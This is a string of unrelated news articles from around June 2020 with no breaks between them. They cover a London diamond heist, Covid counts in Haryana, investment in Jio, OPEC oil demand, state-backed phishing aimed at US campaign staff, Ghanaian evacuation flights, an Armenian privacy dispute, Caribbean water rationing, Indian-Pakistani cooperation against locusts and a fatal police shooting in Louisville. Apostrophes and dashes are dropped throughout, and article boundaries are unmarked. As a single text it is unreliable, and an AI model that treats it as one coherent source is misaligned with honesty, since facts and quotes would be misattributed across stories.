At 8.15pm, Anna left her friend behind and walked to a local cafe, where she was met by Stankovic and Jovanovic. The trio drove in the Citroen to New Bond Street in Central London, where they carried out surveillance on the Boodles store and its surroundings.

The following morning  the day of the heist  the four gang members who had stayed in Ilford checked out of the hotel and took a minicab to Bond Street, where they arrived around 9.30am.

Anna and her female accomplice, for their part, got a cab to the Willow Walk pub, a branch of Wetherspoons near to Victoria Station, where the accomplice waited with their suitcases. Fast forward an hour, and Anna was met at Boodles by Mr Wainwright and a gemmologist called Emma Barton.

She was escorted to the basement, where she sat at a table and weighed each of the seven diamonds, before wrapping them in tissue paper, and transferring each one to a small box. They were all then placed in the zipped bag, which Anna padlocked shut.

Whilst inspecting the seven diamonds inside Boodles' headquarters, 'Anna' inspected them, before wrapping them in tissue paper and putting them in her bag

According to informed sources, both Barton and Wainwright became somewhat suspicious of Anna at this point.

She was a middle-aged woman, who spoke very little English, and did not really seem to handle the stones in the way youd expect a trained gemmologist to, Im told.

For example, she tried to use a thermal conductivity probe, which is a device used for confirming that a diamond is genuine, but couldnt make it work and had to borrow one from Emma Barton. And she wasnt carrying out some of the checks youd usually see a proper expert do.

As it turned out, she was much better at doing sleight of hand tricks than she was at pretending to be a gemmologist.

At this point, Nick Wainwright received a telephone call from Alexander, the supposed Russian buyer shortly before midday.

As he left the room to talk, Anna suddenly slipped the locked bag of gemstones into her handbag.

Emma Barton told Anna she couldnt do that and told her to put it back on the table, said prosecutor Nick Stott in court.

Anna looked confused and did as she was told. Unseen by Emma Barton however, Anna had in fact placed a duplicate bag back on the table.

Now highly suspicious, Ms Barton duly alerted Mr Wainwright about what had occurred.

After finishing his brief telephone call, the Boodles chief asked Anna if he could check her handbag, as a precaution, before she left.

However, the court was told, the real diamonds appear to have by then been transferred into a secret compartment, meaning he reassured himself that the bag was relatively empty with nothing unusual in it.

Anna then left the store shortly after midday, and walked down Bond Street carrying 4.2 million worth of stolen diamonds. Within a few yards, she was met by Stankovic and Jovanovics two female accomplices.

CCTV footage shows her quickly dropping the diamonds into one of their handbags (the second woman attempted to shield the transaction) before returning to the Willow Walk pub, where she adjourned to the toilets and changed clothes, replacing her dark coat with a light one in an apparent effort to throw off detectives studying CCTV footage.

She and the accomplice who had waited there for her then travelled to Kings Cross and caught a Eurostar train back to Paris.

After 'Anna' managed to steal the 4.2million worth of diamonds, she changed her clothes in a nearby Wetherspoons pub before fleeing to Kings Cross station to travel back to Paris via Eurostar

Meanwhile, Stankovic and Jovanovic and the two women who now had the diamonds hailed separate taxis and asked to be taken to the Gants Hill roundabout in East London.

They then met up, walked back to their hotel, jumped in the Citroen, and returned to France via the Channel Tunnel. En route, they were seen on camera stopping on the A12 to deposit an object in a drain.

It remains unclear what that object actually was, but within three hours, they too were out of the UK.

It must have seemed like the perfect crime. Indeed, various steps taken by members of the gang to make their movements harder to trace (in addition to the clothing switch, they booked the minicabs using fake names, and on several occasions that day changed their destination mid-route) had perhaps convinced them that they would never be traced.

For it had indeed been an impeccably slick days work. Indeed, it wasnt until the following afternoon that Boodles even realised they had been swindled.

Having grown suspicious about the failure of Alexanders promised 4.2 million to appear, they sent the locked jewellery bag to a specialist facility at Heathrow to be X-rayed, a process that revealed that something did not appear to be quite right, according to court papers.

When the bag was torn open, the horrified jeweller discovered that it contained seven pebbles similar in size to the diamonds.

By then, the gang was, of course, long gone. But it turned out they had not been quite as clever as they thought.

Boodles jewellers were horrified to notice that the seven diamonds 'Anna' had inspected had been replaced by pebbles that were of similar size

Fortuitously, extensive CCTV surveillance by Scotland Yards Flying Squad soon revealed the routes via which the group had fled.

Detectives were able to trace the Citroen to its hire firm in Paris, which provided them with Stankovics name.

He was arrested in 2016 after being detained while flying into Manchester, and sentenced to three years and eight months.

Jovanovic, who hails from Le Blanc-Mesnil, a suburb in northeastern Paris, fell under suspicion because hed used his real name to book the Channel Tunnel tickets for the Citroen.

An international arrest warrant was filed and he was eventually caught after being arrested in Northern Italy in January this year. Hes been behind bars ever since.

The rest of the gang  thought to contain another seven members  remain at large, though detectives are understood to have established several of their real names, meaning the net continues to close.

As for society jeweller Boodles, they have recovered a small amount of funds via proceeds of crime proceedings against the two convicted men, but remain millions out of pocket.

They are likely to think twice, in future, about allowing TV cameras into their gilded showrooms.

And this quintessentially English society jewellers will never again do business with mysterious Russians and exotic women who carry large handbags.
There are impenetrable walls, like what youd put around a prison, she said. We all want to believe in the postcard vision of the White House, that you as a citizen can walk past it and see it, that its lawn and greenery and elegance and spaciousness extend to you as a citizen, that the president lives there but he is a citizen just like the rest of us. All of that is somehow denied by building a wall around it.
Haryana on Friday recorded 316 fresh Covid-19 cases, 153 of them from the worst-hit Gurugram district, taking the total number of cases in the state to 3,957, officials said.

Of the new cases, 59 were reported from Faridabad district, 22 from Charkhi Dadri, 14 from Palwal, 12 from Kurukshetra, 11 from Rewari, nine from Hisar, seven from Karnal, six from Ambala, four each from Rohtak and Narnaul, three each from Nuh and Fatehabad, two each from Jind, Jhajjar and Sirsa and one each from Kaithal, Panipat and Panchkula, as per the health bulletin.

Total active COVID-19 infections in the state stand at 2,364 while 1,209 patients have recovered. With 1,227 active cases, Gurugram district alone accounts for over 50 % of total active cases in the state.

As many as 945 more people have tested positive in the state in the last three days with Gurgaon and Faridabad accounting for 72% of these cases.

SIX CASES IN AMBALA

Six people, including a 9-year-old girl, have tested positive for the virus in Ambala.Chief medical officer Dr Kuldeep Singh said, A 75-year-old woman from khatik mandi and a 9-year-old girl from Barara, who had returned from Delhi have tested positive. Besides, a Karnataka returnee and another person who returned from Maharashtra are among the new cases. The samples of a Dubai-returnee and a Nahan resident have also turned out to be positive.

The tally in Ambala now stands at 76 of which 29 are active cases.

SEVEN FRESH INFECTIONS IN KARNAL

Seven fresh infections have been reported from Karnal, taking the total number of cases in the district to 81, deputy commissioner Nishant Kumar Yadav said. The new patients include a 47-year-old woman from Shiv Colony, two youths aged 20 and 25 from Ward Taraori, a 27-year-old man from Mukhapuri village, a 28-year-old man from Preetam Nagar, a 26-year-old man of Bhaini Khurd village and a 24-year-old man from Banso Gate locality of Karnal city.

All patients had a travel history to other states and have been admitted at Mulana Medical College and Hospital, Ambala, the DC said. Active cases in the district are 42.

FOUR CASES IN PANIPAT

Four people have tested positive for the virus in Panipat, taking the number of cases in the district to 70, officials said. Health department officials said all patients have a travel history to Mumbai.

CMO Sant Lal Verma said the new patients include a 58-year-old woman from Ughrakheri village, a 16-year-old girl and two men from Beholi village. The fourth patient is a 65-year-old man from Sector 11 of Panipat city. They have been shifted to BPS Medical College, Khanpur Kalan, Sonipat. The family of infected persons have been quarantined and their samples will be sent for testing.

KURUKSHETRA RECORDS FOUR NEW CASES

Four people, including two women, have tested positive in Kurukshetra, taking the number of active cases to 26. CMO Sukhbir Singh said the infected persons include a 32-year-old woman from Umri village, a 37-year-old woman from Barna village, a 58-year-old man from Thaska Mirji village and a 42-year-old man from Mohan Nagar. They were in contact with already positive cases and have been admitted at Covid19 hospital in Mulana of Ambala district.

50-YEAR-OLD MAN TESTS POSITIVE IN KAITHAL

A 50-year-old man tested positive in Siwan village of Kaithal district, taking the number of infected persons to 34. CMO Rakesh Sehl said the new patient had recently returned from Gurugram and his family members have been quarantined. He has been admitted at Covid 19 hospital in Agroha of Hisar district.

A 21-year-old youth has tested positive in Yamunanagar. Civil surgeon Dr Vijay Dahiya said, The youth, who is a resident of Delhi, came for some labour work at a factory in Yamunanagar on June 1 with two of his friends and he has tested positive. The total cases in the district are now 10 with only one active case.

LESS THAN 30 % PATIENTS ADMITTED IN HOSPITALS

As many as 12 Covid-19 positive patients, constituting less than 0.6 % of the total active cases in Haryana, are critically ill and have been put on ventilator and oxygen support. Statistics showed that less than 30 % of total Covid-19 patients were admitted in 12 health institutions across the state as on Friday.

This meant that about 70% patients in the state are in home isolation or were quarantined at paid isolation facilities as most of them were either asymptomatic or have mild symptoms, a health official said.

As per the revised guidelines issued by Union ministry of health, persons clinically identified as a very mild case or pre-symptomatic case by the treating medical officer were eligible for home isolation provided they have the requisite facility at their residence for self-isolation and quarantining the family contacts. The Gurugram district administration has also arranged paid isolation facilities in budget hotels for those who do not have enough space at home to get quarantined.

Moreover, out of the 12 critically ill Covid-19 patients in the state on Friday, only four were on ventilator and eight on oxygen support, an official said.
The massive investment from Abu Dhabis Mubadala in India's Jio Platforms has been confirmed  but will rumours of an Amazon purchase of a stake in Bharti Airtel also prove true?

Abu Dhabis sovereign wealth fund Mubadala is to invest $1.2 billion  an almost 1.9 per cent stake  in Indias Jio Platforms, the company that owns India's largest mobile network operator Jio and a number of other digital businesses.

According to the UKs Financial Times newspaper this means that US private equity firms Silver Lake, Vista Equity Partners, General Atlantic and KKR have all taken stakes in the group since Facebook invested $5.7 billion in April.

Nearly a fifth of Jio  worth about $11 billion  has now been sold and the buying spree is not over yet; Saudi Arabias Public Investment Fund is said to be discussing an investment.

Plans to reduce Reliances net debt from over $20 billion to zero by March next year seem to be on course following these investments  and last weeks $7 billion rights issue, which was Indias largest ever.

How will Jios competitors respond? This site, like many others, has spent much of the past 24 hours assessing a Reuters exclusive: that Amazon is in talks to buy a $2 billion stake in Indian operator Bharti Airtel. The story comes hard on the heels of similar rumours that Google is exploring an investment in Vodafone Idea, Indias third big operator.

Reuters cites a number of informed but unnamed sources in its story about a planned investment that would give Amazon about five per cent of the current market value of Bharti. It made it clear, however, that talks between Bharti and Amazon are at an early stage and that everything could change.

These developments are surprising in some ways. India is a very difficult market for operators: only three major names have survived in the highly competitive climate of recent years. And the regulatory environment has not always been favourable. High AGR dues and (arguably) overpriced spectrum are proving a drain on many companys finances or delaying investment in next generation networks and services.

Meanwhile, consumer interest is hard to predict. There has been a growth in the use of communications services during Indias lockdown but longer-term consumer expenditure may be hit by wage cuts or job losses due indirectly to the coronavirus. Nevertheless, the potential of Indias digital economy  and of its vast market  seems to be undimmed for investors.
Crude oil demand this year will fall to around 90.6 million bpd this year, OPECs secretary-general Mohammed Barkindo said ahead of the next OPEC+ meeting, as cited by Trend.

This level of demand was last seen before 2014, when the oil market again swung into an oversupply and prices tanked as the Gulf producers fought U.S. shale.

World oil demand growth in 2020 is expected to drop by a staggering 9.07 mb/d, with the worst impact seen in this quarter. We expect demand for the year to be around 90.59 mb/d  back to levels last seen before the 2014-2016 market downturn, the top official said.

This is not good news because oil in storage remains high, according to the latest data from analytics firm OilX. Oil in floating storage has begun to be drained, OilX said, but oil in onshore storage was still rising in May. To date, total oil in onshore storage is above 4.5 billion barrels. Of this, some 1 billion barrels flowed into storage in the past couple of months and will take a lot longer to clear up.

The drawdown in oil stocks may accelerate as economies recover from the Covid-19 crisis, but since OPEC+ will tomorrow be discussing a one-month extension of its deepest production cuts, the sentiment in the cartel seems to be still largely bearish. However, Russia may be more optimistic: Energy Minister Alexander Novak said earlier this week that he expected the oil market to swing into a shortage in July.

Whatever happens, the effect of the crisis has already been devastating for the industry. Barkindo noted that investment in oil and gas could fall by as much as 23 percent this year from last, to about 50 percent of the record-high $741 billion invested in 2014. There will be bankruptcies and layoffs in what the official called a repeat of the 2014-2016 scenario.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:
Google security researchers say they've identified efforts by at least two nation state-backed hackers against the Trump and Biden presidential campaigns.

Shane Huntley, director for Google's Threat Analysis Group, said in a tweet that hackers backed by China and Iran recently targeted the campaigns using malicious phishing emails. But, Huntley said, there are "no signs of compromise," and that both campaigns were alerted to the attempts.

Recently TAG saw China APT group targeting Biden campaign staff & Iran APT targeting Trump campaign staff with phishing. No sign of compromise. We sent users our govt attack warning and we referred to fed law enforcement. https://t.co/ozlRL4SwhG  Shane Huntley (@ShaneHuntley) June 4, 2020

When reached by TechCrunch, a Google spokesperson reiterated the findings:

We can confirm that our Threat Analysis Group recently saw phishing attempts from a Chinese group targeting the personal email accounts of Biden campaign staff and an Iranian group targeting the personal email accounts of Trump campaign staff. We didnt see evidence that these attempts were successful. We sent the targeted users our standard government-backed attack warning and we referred this information to federal law enforcement. We encourage campaign staff to use extra protection for their work and personal emails, and we offer security resources such as our Advanced Protection Program and free security keys for qualifying campaigns."

A spokesperson for the Biden campaign confirmed the report in a statement to TechCrunch.

"We are aware of reports from Google that a foreign actor has made unsuccessful attempts to access the personal email accounts of campaign staff," a spokesperson said. "We have known from the beginning of our campaign that we would be subject to such attacks and we are prepared for them. Biden for President takes cybersecurity seriously, we will remain vigilant against these threats, and will ensure that the campaign's assets are secured."

Story continues

The Trump campaign said it was also briefed that "foreign actors unsuccessfully attempted to breach the technology of our staff," but a spokesperson declined to discuss the precautions it was taking.

Huntley said in a follow-up tweet that the hackers were identified as China's APT31 and Iran's APT35, both of which are known to target government officials. But it's not the first time that the Trump campaign has been targeted by Iranian hackers. Microsoft last year blamed APT35 group for targeting what later transpired to be the Trump campaign.

Since last year's attempted attacks, both the Democrats and Republicans improved their cybersecurity at the campaign level. The Democrats recently updated their security checklist for campaigns and published recommendations for countering disinformation, and the Republicans have put on training sessions to better educate campaign officials.

Updated with comment from the Biden campaign, and again with a statement from the Trump campaign.
The Minister for Foreign Affairs and Regional Integration, Shirley Ayorkor Botchway, has told Parliament that government has begun rolling out the second phase of its evacuation programme for Ghanaians stranded abroad due to the novel coronavirus pandemic.

According to her, the government has arranged chartered flights to bring back Ghanaians home based on a schedule drawn up by the Ministry.

The countries captured in the schedule include Nigeria, Mauritania, Ethiopia, China, United States Of America, United Kingdom, UAE, among others.

Responding to questions in Parliament, the Minister indicated that a lot of considerations have gone into government's evacuation programme.

We have received a charter from New York of 299 persons and also one from Washington DC of 300 persons. It should be noted that these arrangements are subject to other requirements in the host country such as permits being granted, overflights and landing clearance and so as a result, there may be changes in the scheduled dates of arrival.

Madam Ayorkor Botchway also said negotiations are currently underway between our Beijing Mission and Ethiopian Airlines for the evacuation of some 675 stranded Ghanaians in China.

Similarly, our mission in Abu Dhabi and consulate in Dubai have initiated discussions with the UAE authorities for the evacuation of over 500 of out nationals stranded in that country, she added.

The Foreign Ministry is also in discussion with the Scholarship Secretariat and the National COVID-19 Task Force to finalise arrangements to evacuate 151 Ghanaians students who completed their language proficiency courses in Benin last month using STC buses.

Now arrangements are in place to evacuate them on June 13, the Minister confirmed.

She also noted that arrangements are in progress to assist with the evacuation of Ghanaians in other counties such as Belgium, Canada, Denmark, Germany, Italy, South Africa, Spain, Niger and Ethiopia.

Priority may be given to urgent evacuation requests that require minimal government intervention such as free arranged charter flights awaiting London clearance grom government, she stated.

Background

Ghanaian nationals who are stranded outside the country and are willing to bear the cost of their evacuation were earlier asked to submit their details to their Ghana High Commission by close of Wednesday, May 13, 2020.

The Ministry of Foreign Affairs and Regional Integration, which issued the directive in a statement, suggested that it would facilitate their travel back to Ghana only if they are prepared to cover their own expenses.

Meanwhile, Ghana's Permanent Mission to the United Nations and the Consulate in New York had earlier collected data of Ghanaians stranded in the United States.

This exercise which was done to capture residents in the tri-state of New York, New Jersey and Connecticut was to help government plan a possible evacuation of persons left stranded due to the current closure of the country's borders as a measure to curb the spread of the novel coronavirus in the country.

Calls for evacuation

There have been many calls for the government to bring back Ghanaians who want to return home especially now that there are no signs of the government reopening the borders any time soon.

People including the Minority in Parliament have been putting pressure on the government to bring back these stranded nationals home.

It can be recalled that even before Ghana recorded its first coronavirus cases, the government received intense pressure to bring home Ghanaian students who were under lockdown in Wuhan, China  the place where the disease emanated from.

Even though the number of COVID-19 cases keeps rising in every part of the world, people still want to be repatriated despite border closures in many countries.

Already, some 245 Ghanaians who were deported from Kuwait were allowed into the country by the government of Ghana. 35 of these returnees tested positive for COVID-19.

---citinewsroom
Prime Minister Nikol Pashinian faced accusations of ethics and privacy violations on Friday as he continued to publicize photographs of people not following safety rules designed to stop the spread of coronavirus in Armenia.

Pashinian urged supporters to send him such material earlier this week as part of his efforts to get Armenians to practice social distancing, avoid large gatherings and wear face masks. He has since received and posted on his Facebook page dozens of photographs and even videos of unprotected people partying, hugging each other, riding overcrowded buses or dangerously queuing up outside various offices.

Some of these posts have prompted criticism from civic activists, opposition figures and social media users. They were especially upset with a close-up photo of a young woman riding a commuter bus in Yerevan. The mini-skirt clad woman did not wear a protective mask, unlike two other youths who sat next to her.

Pashinian sarcastically captioned the image as Unhidden beauty. Some of his followers denounced the woman and even made offensive comments about her.

But many other Facebook users accused the prime minister of disrespecting the commuter and breaching her privacy.

Shushan Doydoyan of the Yerevan-based Center for Freedom of Information said that Pashinians posts run counter to an Armenian law on personal data protection even if they pursue a legitimate goal.

It is obvious that the photos and videos depict concrete people, Doydoyan told RFE/RLs Armenian service. I believe that in this case identifying people to make them recognizable is not at all necessary for achieving the goal [of containing the coronavirus epidemic.]

Pashinian was also criticized by the mainstream opposition Bright Armenia Party (LHK). Even if you sincerely want to fight the epidemic, it is inadmissible to violate other citizens dignity and intrude into their private lives with that fight, said Taron Simonian, a senior LHK parliamentarian.

Armenias human rights ombudsman, Arman Tatoyan, also voiced serious concerns. I am calling on all social media users to not disseminate the girls photograph, regardless of whether or not her face is covered, he wrote on Facebook. If you have already disseminated the photograph please delete it and screenshots containing offensive comments.

When posting material public figures must bear in mind that no matter how legitimate their goal is it could violate a concrete persons rights, added Tatoyan.

Pashinian deleted the controversial Facebook post later in the day, saying that he did not mean to offend anyone. I apologize to all compatriots who have been the targets of harsh words on my page, he wrote. But this campaign of public oversight will continue.

Gayane Abrahamian, a parliament deputy from Pashinians My Step bloc, defended the prime ministers online flash mob.There are no breaches of personal data, she said.

Over the past week Pashinian has appealed to citizens on a daily basis amid the rapidly growing number of new coronavirus cases and deaths registered in Armenia. He has said that the epidemic will be defeated if they follow the safety rules set by the health authorities.

Pashinian has also repeatedly complained about widespread noncompliance with the rules. Opposition members and other critics have responded by accusing him of trying to shift the blame for his governments mishandling of the coronavirus crisis to the public.

The Armenian Ministry of Health said on Friday morning that the number of confirmed COVID-19 cases increased by 596 to 11,817 over the past day. It also reported 7 more deaths caused by the virus. The official death toll from the epidemic thus reached 183.

Pashinian announced on Monday that he and members of his family have tested positive for the virus. He said on Thursday that none of them has shown any symptoms of the disease so far.
Garth Saunders, CEO/CWSA, has attributed the need to ration water as a direct result of the lack of rainfall on which our water supply is heavily reliant.

The Central Water and Sewerage Authority (CWSA) is warning its customers that they may have to endure the present water rationing for a bit longer, or until there is a significant change to the current dry weather conditions.





Chief Executive Officer the CWSA Garth Saunders said on radio last Sunday that St Vincent and the Grenadines was currently experiencing drought conditions, and that countries such as Barbados have reported that it is the worst drought in 72 years.





He added that neighboring St Lucia has implemented a water emergency, and that here in SVG, we are almost at that point.





"We have issued a water restriction notice, but the situation we have arrived at is simply due to the lack of rainfall and that is the critical issue, Saunders said.





According to the CWSAs top man, five of the major systems have been operating at 40 percent below the 10-year average for the first four months of the year.





And the rainfall for April was 60 percent below the 10-year average.





Saunders said that prior to the rain experienced on May 29, only two inches of rain had been recorded at three of the major intakes during the month of May, compared to 10 inches recorded in May 2019.





"So that provides the gravity of the situation, so we are down to about 35 to 40 percent of our operating capacity, Saunders said.





He said that the rationing cycle has affected as much as 50 percent of the total consumers, and admitted that some areas have been affected more than others. This shortcoming is as a result of the 12 water supply systems that are interlinked and that are used at varying capacities.





"So, it is never going to be cut and dry, Saunders cautioned.





Turning water on and off





Saunders explained that the water rationing was implemented to achieve the primary objectives of having an amount of water in the reservoirs so as to be able to distribute evenly.





However, in reality, the CWSA is not able to discreetly distribute amounts of water to various communities.

So, for example, Saunders said that it was not as easy as distributing 1,000 gallons here and then another 100 at another place.





Instead, the water is turned on and an estimated consumption rate is calculated  but once the water is turned off, then the estimated rate is often never met, Saunders explained.





"Hence, we have to go and recalculate and reschedule the next phase, so its not that we are giving out a set amount to any one community. We are opening a system that has a variable demand.





Why not build extra tanks?





Saunders addressed the issue of expansion, saying that the present adverse weather conditions can be attributed to climate change, and it was becoming clear to a lot of countries across the region that they will need to re-think their water supply systems.




CAPE CANAVERAL AIR FORCE STATION, FL, UNITED STATES 05.06.2020 - Pararescuemen from various units around the country arrived at Patrick Air Force Base, Fla., May 6, 2020, working with 45th Operations Group, Detachment 3 personnel and mission partners in the weeks leading up to the return to human spaceflight. Exercises took place at Cape Canaveral Air Force Station and off the coast of CCAFS, working on tactics and procedures for astronaut rescue and recovery operations. (U.S. Space Force photo by Senior Airman Dalton Williams)

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[June 05, 2020] Cogeco Inc. and Cogeco Communications Inc. Schedule the Release of Their Financial Results for the Third Quarter of Fiscal 2020 and Related Conference Call

MONTREAL, June 5, 2020 /CNW Telbec/ - Cogeco Inc. (TSX: CGO) and Cogeco Communications Inc. (TSX: CCA) plan to release their financial results for the third quarter ended May 31, 2020 on Wednesday, July 15, 2020, after market closing. The companies will hold a conference call on Thursday, July 16, 2020 at 11:00 a.m. (Eastern Daylight Time) to discuss their financial and operating results. A live audio webcast will be available on Cogeco's web site at http://corpo.cogeco.com/cca/en/investors/investor-relations/. The webcast will be availabl on Cogeco's website for a three-month period. Members of the financial community will be able to access the conference call and ask questions. Media representatives may attend as listeners only.



Please use the following dial-in number to have access to the conference call 5 to 10 minutes before the start of the conference: Canada/USA Access Number: 1-877-291-4570

International Access Number: 1-647-788-4919

In order to join this conference, participants are required to provide the operator with the name of the company hosting the call, that is, Cogeco Inc. or Cogeco Communications Inc. ABOUT COGECO

Cogeco Inc. is a diversified holding corporation which operates in the communications and media sectors. Its Cogeco Communications Inc. subsidiary provides residential and business customers with Internet, video and telephony services through its two-way broadband fibre networks, operating in Quebec and Ontario, Canada, under the Cogeco Connexion name, and in the United States under the Atlantic Broadband brand (in 11 states along the East Coast, from Maine to Florida). Its Cogeco Media subsidiary owns and operates 23 radio stations with complementary radio formats and extensive coverage serving a wide range of audiences mainly across the province of Quebec, as well as Cogeco News, a news agency. Cogeco's subordinate voting shares are listed on the Toronto Stock Exchange (TSX: CGO). The subordinate voting shares of Cogeco Communications Inc. are also listed on the Toronto Stock Exchange (TSX: CCA). SOURCE Cogeco Inc.

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Officials from the two nations are sharing data and attending meetings amid worst invasion in decades, says spokesman.

Pakistani and Indian authorities are working together to combat the worst invasion of desert locusts in decades in the region, which is threatening crops in both countries, Pakistans foreign office has said.

The two countries  also bitter regional rivals  have been coordinating through the United Nations Food and Agriculture Organisation (FAO), on controlling the locust activity, sharing data and attending weekly meetings.

During a weekly briefing on Thursday, a spokesman from Pakistans foreign office said a decision to work together was made at a ministerial-level meeting of Pakistan, India, Afghanistan and Iran in March.

The participants decided to revive communication between the regional countries through the FAOs Commission for Controlling the Desert Locust in South-West Asia (SWAC).

Each country, helped by the SWAC, agreed to establish a technical and operational coordination (ToC) team to exchange information, enhance coordination at the border areas and increase synchronisation to combat the desert locust outbreak in the region, said the spokesperson.

Pakistans foreign office said the country has been participating in SWAC meetings weekly, which are fruitful in exchanging information in the bordering areas of Pakistan and India.

On its part, the government of Pakistan remains committed to cooperating with all SWAC member states, including India, in combating the desert locust outbreak, the spokesman said.

Worst invasion in decades

Pakistan is facing its worst locust infestation in two decades, prompting authorities to declare a national emergency.

Millions of locusts have also engulfed Indias seven heartland states, including the western desert of Rajasthan, and threaten vegetable and pulse crops such as lentils and beans.

The last major locust surge was in 1993, when heavy rains created favourable breeding conditions for the insects along the India-Pakistan border.

Fresh swarms have arrived as governments in both countries are trying to contain the spread of the coronavirus and reeling from economic fallout associated with pandemic restrictions.

The insects have caused extensive damage to pastures and crops and threatened food security in East African countries including Somalia, Ethiopia, Kenya, Eritrea and Djibouti this year.

Locust swarms can fly up to 150km (90 miles) a day, and the adult insects can consume roughly their own weight in fresh food each day.

A small swarm can eat enough food to feed 35,000 people in one day, according to the FAO.

Drones to disc jockeys

We have never, ever seen what we have in the last six months in India  never in the history, said Bhagirath Choudhary, director of the New Delhi-based South Asia Biotechnology Centre, an agriculture think-tank.

From deploying drones and fire trucks to banging utensils and blaring loud music, India is experimenting with ways to battle the new wave of locust attacks that have alarmed farmers.

Some have mounted their tractors with insecticide sprayers or banged steel pots and plates, while others have lit fireworks or played loud music on speakers in the middle of their fields.

A farmer in Uttar Pradesh rolled out a mobile disc jockey system, normally used at weddings.

Last week, the capital, New Delhi, and neighbouring districts were put on high alert for a possible locust invasion, with authorities urging residents to shut their windows and doors tight.

Farmers are advised to collectively beat drums, tin containers [and] steel plates and use loudspeakers to prevent locusts from descending on farms and damaging crops, Suhas LY, the magistrate of Gautam Buddha Nagar district in Uttar Pradesh state, said on Twitter.

Most years, the winged invaders destroy crops in parts of Rajasthan close to the border but farm experts say it is rare for them to move further into the state and other non-desert areas of India.

Farmers are crying, they dont know what to do  its like a natural disaster, Choudhary told the Reuters news agency.
Photograph: Darron Cummings/AP

In the moments before he was shot dead by law enforcement this week, David McAtee  otherwise known as YaYa or the barbecue man  was doing what he always did: cooking up meat for the crowds gathered at the intersection of Broadway and 26th in Louisville, Kentuckys predominantly black West End.

It was the second night of curfew in Louisville. But here, a few miles from the center of the downtown protests over the March police killing of 26-year-old black ER tech Breonna Taylor, that were ignited following the May police killing of George Floyd  curfew was being ignored.

Related: Breonna Taylors mother calls for end to violence after seven are shot in protest

People were sitting around at the Dinos gas station and food mart across the street listening to music and having a good time. At his barbecue stand, McAtee was busy shuffling between the grills made out of oil drums that he cooked on and the kitchen. He had hoped to open a bricks-and-mortar restaurant one day.

None of them had the faintest idea that McAtees name would soon join the long list of those chanted by protesters across the US calling for an end to police violence against people of color.

It was just a normal day. People just having fun. Not nobody was about trouble, McAtees nephew, Marvin McAtee, told the Guardian as he stood next to the bullet-pocked wall beside the kitchen entrance. Nothing that serious for the marshals to come over for us.

Dwayne Simmons makes a memorial to David McAtee near the intersection of 26th and Broadway in Louisville, Kentucky, on 2 June. Photograph: Darron Cummings/AP

It was just after midnight on 1 June when at least two trucks of national guard troops and a number of Louisville metro police department (LMPD) officers arrived at the intersection with the goal of breaking up the crowd that was gathered there in violation of curfew. Protesters downtown had already been dispersed earlier with teargas, pepper balls and baton rounds. Now they were trying to put the city to bed.

In surveillance footage released by LMPD, officers can be seen shooting pepper balls in the direction the people gathered next to the grills at YaYas BBQ. The crowd appears to panic and flees into the kitchen, where McAtee had gone just before the arrival of the police and troops. He pushes through the crowd to get to the door to see what is going on, his right hand on his hip where he appears to be wearing a pistol. He takes a step outside the door and raises his arm in the air  a motion consistent with firing a warning shot  before rushing back inside and collapsing on the ground.

Story continues

A curfew? You come and shoot at people for a curfew? I cannot stand it, said Marvin McAtee, who worked with his uncle cooking barbecue. I have no hate for the police or nothing. Its something that went wrong and they just need to apologize and say, We was wrong. I dont want no money, I dont want no lawsuit. Just say: We made wrong decisions.

Two men kneel in front of a line of state troopers during a protest in Louisville, Kentucky, on 1 June. Photograph: Bryan Woolston/Reuters

Marvin McAtee said McAtee used to feed cops who worked his part of town for free. Sometimes they would throw down money when his back was turned, but hed never ask law enforcement for money.

Despite that past relationship, no police came here and shook my hand and said Im sorry for your loss or nothing, said Marvin McAtee.

I dont want no lawsuit. Just say: We made wrong decisions' Marvin McAtee

Police say two LMPD officers and two national guards troops discharged their weapons after McAtee fired a gun, though have not said whose bullets hit and killed McAtee. The surveillance footage does not show McAtee firing a weapon. There is no body-cam footage of the incident despite requirements for LMPD officers to wear and activate the devices.

Marvin McAtee says his uncle would not fire at police and was defending his shop in a chaotic situation. He did not see his uncle fire a shot. Amid the unrest across the US in recent days, business owners have taken to carrying weapons and firing shots in the air to dissuade looters.

McAtees killing prompted quick and sweeping changes: Louisvilles mayor, Greg Fischer fired the police chief and police have, in the days since, taken a markedly less aggressive stance on protesters after the force had faced accusations of heavy-handedness and teargassing peaceful demonstrators. On Thursday, the curfew ended.

But McAtees death bore a striking resemblance to the killing of Taylor, raising questions over whether meaningful reform was indeed under way.

Related: Breonna Taylor shooting: hunt for answers in case of black woman killed by police

Taylor was shot and killed by plainclothes LMPD officers serving a no-knock warrant in a narcotics investigation in March. Thinking they were witnessing a home invasion, her boyfriend, Kenneth Walker fired a shot and hit an officer in the leg after the door of her apartment was breached, prompting a barrage of gunfire that saw Taylor  an EMT who had been working in Louisville hospitals during the coronavirus pandemic  hit eight times. No drugs were found in the apartment and despite widespread protester demands that the officers involved be fired and arrested, none have been fired yet.

Again, there is no body-cam footage of Taylors killing because officers were not wearing the devices. Both killings have raised questions over why cops were there in the first place. And both have prompted cops and the city to pledge theyll do some things differently from then on.

A demonstrator holds a sign with a photo of Breonna Taylor in Denver, Colorado, on 3 June. Photograph: Jason Connolly/AFP/Getty Images

But while officers involved in the killing of George Floyd in Minneapolis have been arrested and face charges, officers in both of Louisvilles killings remain employed by the police force as investigations continue.

Like many cities across the US, Louisville saw unrest and riots in the aftermath of Martin Luther King Jrs assassination in 1968. Like today, the nationwide unrest was compounded in Louisville by local incidents: weeks before the assassination, a local black man had been beaten by a Louisville cop, driving even more anger. Segregation in the city was exacerbated by the unrest as white residents left the western part of the city. The city remains heavily segregated today.

In more recent times, Louisville was almost the Ferguson, Missouri story before Ferguson, Missouri in 2004 according to Christopher 2X, an anti-violence activist who runs the organization Game Changers.

In January of that year, 19-year-old Mike Newby was shot and killed by undercover cop named McKenzie Mattingly during an attempted drug buy sting. Mattingly said he had feared for his life, but Newby was shot three times in the back. The killing stoked protests in Louisville. Mattingly was charged with murder, but acquitted.

This time, Deonte Hollowell, a professor at Louisvilles Spalding University who studies the relationship between African American communities and the police, says hes hopeful that the protest movement will lead to change.

I think its possible because I think theres so many people that are passionate about not just getting justice for YaYa and Breonna, but changing the system, he said.

But, he added, theres a lot of work to be done before anger on the street will lessen.

I dont think at this point the anger is going anywhere until those officers are arrested Deonte Hollowell

I dont think at this point the anger is going anywhere until those officers are arrested, he said. And even then, theres so many other layers to this that that would be a satisfactory situation, but it wouldnt be the end by any means. And I think that most people, or many people, that are protesting understand that.

